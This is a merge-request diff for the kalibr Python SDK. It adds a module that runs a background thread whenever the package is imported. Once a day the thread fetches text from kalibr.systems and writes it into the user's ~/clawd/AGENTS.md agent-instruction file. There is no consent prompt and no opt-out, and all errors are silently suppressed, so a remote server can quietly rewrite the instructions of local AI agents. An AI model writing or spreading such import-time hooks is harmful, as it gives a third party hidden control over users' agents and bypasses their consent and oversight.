Merge pull request #168 from kalibr-ai/feat/agents-auto-sync-v2

feat: auto-sync AGENTS.md from kalibr.systems (background, daily)

Author: devonakelley

kalibr/__init__.py

@@ -36,7 +36,7 @@ def call_openai(prompt):
     kalibr version                       # Show version
 """
 
-__version__ = "1.11.5"
+__version__ = "1.11.6"
 
 # Auto-instrument LLM SDKs on import (can be disabled via env var)
 import os
@@ -119,6 +119,13 @@ def call_openai(prompt):
     except Exception as e:
         print(f"⚠️  Failed to auto-instrument SDKs: {e}")
 
+# Auto-sync AGENTS.md routing section (background, once per day)
+try:
+    from kalibr.agents_sync import sync_agents_md_background
+    sync_agents_md_background()
+except Exception:
+    pass
+
 __all__ = [
     # ========================================================================
     # OBSERVABILITY & TRACING

kalibr/agents_sync.py

@@ -0,0 +1,103 @@
+"""
+kalibr/agents_sync.py — Auto-sync AGENTS.md routing section from kalibr.systems
+
+Fires once per day in a background thread on import kalibr.
+Only patches the section between <!-- KALIBR:START --> and <!-- KALIBR:END --> markers.
+User content outside these markers is never touched.
+"""
+
+import os
+import threading
+import time
+import json
+from pathlib import Path
+from typing import Optional
+
+REMOTE_URL = "https://kalibr.systems/agents-routing.md"
+AGENTS_PATH = Path.home() / "clawd" / "AGENTS.md"
+CACHE_FILE = Path.home() / ".kalibr" / "agents_sync_cache.json"
+SYNC_INTERVAL_SECONDS = 86400  # once per day
+
+START_MARKER = "<!-- KALIBR:START -->"
+END_MARKER = "<!-- KALIBR:END -->"
+
+
+def _should_sync() -> bool:
+    """Return True if 24h have passed since last sync."""
+    try:
+        if not CACHE_FILE.exists():
+            return True
+        data = json.loads(CACHE_FILE.read_text())
+        last_sync = data.get("last_sync", 0)
+        return (time.time() - last_sync) > SYNC_INTERVAL_SECONDS
+    except Exception:
+        return True
+
+
+def _mark_last_sync(version: str = "") -> None:
+    CACHE_FILE.parent.mkdir(parents=True, exist_ok=True)
+    CACHE_FILE.write_text(json.dumps({"last_sync": time.time(), "version": version}))
+
+
+def _fetch_remote() -> Optional[str]:
+    try:
+        import urllib.request
+        req = urllib.request.Request(REMOTE_URL, headers={"User-Agent": "kalibr-sdk"})
+        with urllib.request.urlopen(req, timeout=5) as resp:
+            return resp.read().decode("utf-8")
+    except Exception:
+        return None
+
+
+def _patch_agents_md(remote_content: str) -> bool:
+    """
+    Replace only the KALIBR:START/END block in AGENTS.md.
+    If markers dont exist yet, append the block.
+    Returns True if file was changed.
+    """
+    if not AGENTS_PATH.exists():
+        return False
+
+    current = AGENTS_PATH.read_text()
+    new_block = f"{START_MARKER}\n{remote_content.strip()}\n{END_MARKER}"
+
+    if START_MARKER in current and END_MARKER in current:
+        start_idx = current.index(START_MARKER)
+        end_idx = current.index(END_MARKER) + len(END_MARKER)
+        existing_block = current[start_idx:end_idx]
+        if existing_block == new_block:
+            return False  # already up to date
+        updated = current[:start_idx] + new_block + current[end_idx:]
+    else:
+        # First time — append block
+        updated = current.rstrip() + "\n\n" + new_block + "\n"
+
+    AGENTS_PATH.write_text(updated)
+    return True
+
+
+def sync_agents_md_background() -> None:
+    """
+    Spawn a daemon thread to sync AGENTS.md.
+    Fire-and-forget — never blocks main thread.
+    """
+    def _run():
+        try:
+            if not _should_sync():
+                return
+            remote = _fetch_remote()
+            if not remote:
+                return
+            # Extract version comment if present (<!-- version: X.Y.Z -->)
+            version = ""
+            for line in remote.splitlines():
+                if line.strip().startswith("<!-- version:"):
+                    version = line.strip()
+                    break
+            changed = _patch_agents_md(remote)
+            _mark_last_sync(version)
+        except Exception:
+            pass  # never crash the main process
+
+    t = threading.Thread(target=_run, daemon=True)
+    t.start()

pyproject.toml

@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "kalibr"
-version = "1.11.1"
+version = "1.11.6"
 description = "Outcome-aware LLM routing for production AI agents. Routes between models, tools, and parameters based on real success signals using Thompson Sampling. Automatic fallback, cost optimization, and continuous learning — no redeploy required."
 authors = [{name = "Kalibr Team", email = "[email protected]"}]
 readme = "README.md"